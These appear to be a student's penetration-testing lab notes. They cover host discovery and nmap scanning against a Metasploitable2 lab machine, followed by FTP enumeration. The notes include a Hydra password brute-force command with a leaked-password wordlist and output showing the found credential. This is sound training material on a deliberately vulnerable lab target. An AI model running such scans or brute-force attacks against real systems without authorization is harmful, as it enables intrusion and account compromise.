

Host Discovery And Scanning

kali linux , metasploitable2 , windows 10

PT --> kali linux , metasploitable2 in same network

- fping
- netdiscover
- nmap

```
└─(kali㉿kali)-[~]
└─$ fping -a -g 192.168.61.0/24 > alive_host.txt
2>/dev/null
-a --> alive host
-g --> CIDR - Subnet
> --> redirect for output
2> --> redirect for error
-q --> quite mode
```

```
└─(kali㉿kali)-[~]
└─$ sudo netdiscover -i eth0 -r 192.168.61.0/24
-i --> interface
-r --> range of ip addresses "subnet-CIDR"
```

```
└─(kali㉿kali)-[~]
```

```
└─$ nmap -sn 192.168.61.0/24  
-sn --> host discovery
```

Scanning "nmap"

scanning types

- tcp scan
- udp scan

port numbers : 65535 ports

1024 : known ports

- 80 http
- 443 https
- 21 ftp
- 22 ssh
- 23 telnet
- 88 kerberos
- 25 smtp ..etc

ip address <<<< port number open <<<< service
<<<< service version

tcp ports - udp ports <<< nmap "network mapper"

tcp scan

- tcp full open scan "nmap -sT"
- tcp half open scan "nmap -sS"
- xmas scan "nmap -sX"

nmap port status

- open
- close
- filtered

nmap scripting "LUA"

- enumeration
- brute forcing
- vuln scanning

nmap command summary

SHELL

```
└─(kali㉿kali)-[~/Desktop]
└─$ nmap -sSVC -A -vvv --top-ports 5000 -O
192.168.61.20 --open -oX Desktop/nmap_output.xml
nmap --> tool name "network mapper"
-sS --> half open scan
-sV --> service version detection
-sC --> script scanning
--script --> run for only one script
-A --> all running -sS -sV -sC -O
-vvv --> verbose .. show output results
-sU --> for UDP Scan
-p T:21,22,23,U:111,53,137 --> to set ports for
tcp and udp ports
--top-ports --> scanning top ports of number you
set
-O --> operating system detection
--open --> open show open ports
-T --> set timing and 0 less aggressive and 5
more aggressive
-iL --> input list if you want to scan more than
one ip address "list of ip addresses"
-oN --> save output in txt file
-oX --> save output in XML file

└─(kali㉿kali)-[~/Desktop]
└─$ xsltproc nmap_output.xml -o nmap_output.html
```

xsltproc --> using this tool for convert from
xml to html

-o --> output

xsltproc <file name>.xml -o <file name>.html

ftp_enumeration

ftp --> port 21 --> file transfer protocol
client - server
ftp server --> sharing data
client request --> server >>>> access to file
shared
access ftp require username / password
download data . upload data .

unauthorized access <<< username / password /
misconfiguration
brute forcing "guessing for password" , ftp
service vulnerable "exploit"

attack vectors

- password brute forcing
 - password list "wordlist" commonly used

password

- /usr/share/wordlist/rockyou.txt |

seclists

- hydra | medusa | ncrack "nmap script"

```
└─(kali㉿kali)-[~]
```

```
└─$ hydra -l msfadmin -P
```

```
/usr/share/wordlists/seclists/Passwords/darkweb2017-top10000.txt ftp://192.168.61.20
```

Hydra v9.5 (c) 2023 by van Hauser/THC & David

Maciejak - Please do not use in military or secret

service organizations, or for illegal purposes (this is non-binding, these *** ignore laws and ethics anyway).

```
[21][ftp] host: 192.168.61.20    login: msfadmin  
password: msfadmin
```

```
1 of 1 target successfully completed, 1 valid  
password found
```

```
-l --> username  
-L --> username list  
-P --> password list "wordlist"  
-p --> you know the password  
ftp:// --> we need brute forcing for ftp  
password  
192.168.61.20 --> target ip address  
  
- exploit ftp vulnerable service version
```